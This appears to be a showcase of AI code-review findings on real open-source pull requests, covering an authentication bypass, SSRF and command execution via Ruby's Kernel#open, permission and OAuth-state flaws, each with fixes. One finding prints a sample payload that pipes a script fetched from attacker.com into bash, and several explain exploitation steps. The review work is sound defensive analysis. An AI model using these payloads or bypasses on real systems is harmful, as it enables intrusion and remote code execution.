How well do AI code reviewers catch real bugs?

packages/features/auth/lib/next-auth-options.ts authorize(): if (user.password && !credentials.totpCode) { // verify password via verifyPassword(credentials.password, user.password) } if (user.twoFactorEnabled && credentials.backupCode) { // accept backup code as 2FA factor } else if (user.twoFactorEnabled) { // verify totpCode } Submitting `credentials.totpCode = <anything truthy>` (it does not need to be valid because the new branch only consumes backupCode) makes `!credentials.totpCode` false and skips the password block entirely. The backup-code branch then accepts the credential and the user is logged in. Effect: an attacker who has any single backup code can sign in without the account password — backup codes become permanent password replacements rather than recovery factors. The fix is to verify the password unconditionally when user.password is set (regardless of totpCode/backupCode presence) and only use backupCode in place of totpCode, not in place of password.

**🚨 Missing `prisma` import in SalesforceCalendarService causes runtime crash** (bug) In `packages/app-store/salesforce/lib/CalendarService.ts`, `prisma.credential.update` is called on line 96 to persist refreshed tokens, but `prisma` is never imported. There is no `import prisma from "@calcom/prisma"` in the file. This will throw a `ReferenceError: prisma is not defined` at runtime whenever Salesforce credentials need a token refresh. **💡 Suggestion**: Add `import prisma from "@calcom/prisma";` to the import block at the top of the file. <details> <summary>📋 Prompt for AI Agents</summary> In packages/app-store/salesforce/lib/CalendarService.ts, add a missing import for prisma. After the existing import block (around line 20), add: `import prisma from "@calcom/prisma";`. This is required because `prisma.credential.update` is called on line 96 to persist refreshed tokens, but the module is never imported, causing a ReferenceError at runtime. </details>

app/views/embed/best.html.erb (added in this PR) opens an if/else at lines 2-6: <%- if @topic_view.posts.present? %> ... <%- else %> ... <%- end if %> The `end if` form is Ruby's trailing-if statement modifier and requires an expression after `if` (e.g. `end if some_cond`). With no expression the template compiles to invalid Ruby and rendering raises SyntaxError. The embed view is the entry point for the new embeddable-comments feature, so any host page that embeds Discourse comments will fail to render the iframe. Fix: change to `<%- end %>`.

**🚨 SSRF via user-controlled embed_url triggers open() to arbitrary URL** (security) In `EmbedController#best` (line 9), the `embed_url` parameter comes directly from user-supplied query parameters. When no existing topic embed is found, this value is passed verbatim to `Jobs.enqueue(:retrieve_topic, embed_url: embed_url)`. Inside `Jobs::RetrieveTopic#execute`, it is passed to `TopicRetriever.new(@embed_url)`, which calls `TopicEmbed.import_remote(user, @embed_url)`, which calls `open(url).read` (Ruby's `Kernel#open` / `open-uri`). Although `TopicRetriever#invalid_host?` checks that the URL's host matches `SiteSetting.embeddable_host`, this check only runs for pre-validated embeds after the job is enqueued — the URL is already accepted by the controller before any host validation occurs (the controller only checks the HTTP Referer header, not the embed_url itself). More critically, `Kernel#open` also accepts pipe-prefixed strings (`|command`) on older Ruby/open-uri combinations that allow OS command execution. Even if host validation were reliable, a URL with a valid host prefix but path traversal (e.g. query string exploits) can reach internal services. **💡 Suggestion**: Validate `embed_url` against the configured `embeddable_host` in the controller before enqueuing the job, not just in the retriever. Use `URI.parse` and compare the host explicitly, and reject any URL whose scheme is not `http` or `https`. Additionally, replace `open(url)` in `import_remote` with `Net::HTTP` or a whitelisted HTTP client that cannot be used for file/pipe access. <details> <summary>📋 Prompt for AI Agents</summary> In app/controllers/embed_controller.rb, before calling Jobs.enqueue at line 15, add host validation of embed_url: parse it with URI.parse, verify the scheme is http/https and the host matches SiteSetting.embeddable_host, and raise Discourse::InvalidAccess if either check fails. In app/models/topic_embed.rb at line 48, replace `open(url).read` with an explicit HTTP fetch using Net::HTTP or Faraday so that file:// and pipe-exec URIs are never processed. </details>

**🚨 SSRF and RCE via Kernel#open with attacker-controlled URL from Disqus XML** (security) The PR replaces `PostCreator` with `TopicEmbed.import_remote(user, t[:link], ...)` at line 148. The value `t[:link]` is read directly from the `<link>` element of the Disqus XML export file (parsed at `disqus.thor:58`). Inside `TopicEmbed.import_remote` (topic_embed.rb:48), Ruby's `Kernel#open(url)` is called with this attacker-controlled value **before** any URL validation. Ruby's `Kernel#open` has two critical behaviours beyond HTTP: 1. **Remote Code Execution**: if the URL begins with `|`, it is interpreted as a shell command. A Disqus XML containing `<link>|curl attacker.com/shell.sh | bash</link>` would execute arbitrary shell commands on the import host. 2. **SSRF / local file read**: URLs with `file://` scheme or internal addresses (e.g., `http://169.254.169.254/`) allow reading arbitrary local files or probing internal services. The `https?://` guard in `TopicEmbed.import` (line 11) does NOT protect against this because `open(url)` in `import_remote` is called at line 48 **before** `import` is invoked at line 52. The `TopicRetriever` code path validates the host against `SiteSetting.embeddable_host`, but the Disqus importer bypasses that validation entirely. **💡 Suggestion**: Replace `Kernel#open(url)` with an explicit HTTP client call (e.g., `Net::HTTP.get(URI(url))` or `open-uri` with explicit `URI.open`) and validate the URL scheme before fetching. Add a guard at the start of `import_remote` that rejects non-http(s) URLs (matching the guard already present in `import`). Additionally, validate `t[:link]` in `disqus.thor` before passing it to `import_remote`. ```suggestion doc = Readability::Document.new(URI.open(url).read, ``` <details> <summary>📋 Prompt for AI Agents</summary> In app/models/topic_embed.rb, the `import_remote` method at line 44 uses Ruby's `Kernel#open(url)` at line 48 to fetch a URL that can originate from an attacker-controlled Disqus XML file (via lib/tasks/disqus.thor line 148). Ruby's Kernel#open executes shell commands when the string starts with '|', enabling RCE. Fix this by: (1) adding a URL scheme check at the top of `import_remote` identical to the one in `import` (line 11): `return unless url =~ /^https?:\/\//`; (2) replacing `open(url)` with `URI.open(url)` (from OpenURI) or an explicit Net::HTTP call to avoid the shell-dispatch behaviour of Kernel#open. Also add `require 'open-uri'` if not already present. </details>

services/src/main/java/org/keycloak/services/resources/admin/permissions/GroupPermissionsV2.java around line 70: public boolean canManage() { if (root.hasOneAdminRole(AdminRoles.MANAGE_USERS)) return true; return hasPermission(null, AdminPermissionsSchema.VIEW, AdminPermissionsSchema.MANAGE); } The corresponding per-group `canManage(GroupModel group)` later in the same file (~line 78) correctly does `hasPermission(group.getId(), MANAGE)`. The no-arg variant must mirror that — a manage operation must require a manage scope. Accepting VIEW here means: a user granted ONLY the all-groups VIEW permission satisfies the canManage() check and can then call admin endpoints that gate on requireManage()/canManage() (GroupsResource.addTopLevelGroup, GroupResource cross-group moves, etc.). The fix is `hasPermission(null, AdminPermissionsSchema.MANAGE)`.

src/sentry/integrations/github/integration.py introduces OAuthLoginView with `state = pipeline.signature` and validates the callback via `request.GET.get('state') != pipeline.signature`. Per src/sentry/pipeline/base.py:133, pipeline.signature is computed as `md5_text(*[f'{module}.{cls}' for v in self.pipeline_views]).hexdigest()` — a deterministic hash of the pipeline view class names. The value is identical for every Sentry installation that uses the same GitHub provider pipeline, so an attacker who knows the (open-source) pipeline composition can predict the state value, craft a callback URL with a stolen authorization code, and bind an attacker-controlled GitHub installation to the victim's session. The fix is to generate a per-session cryptographic nonce (e.g. secrets.token_urlsafe), store it in pipeline state, and compare against that. Recommended additions: PKCE, exact-match redirect URI validation, and rate-limit the callback.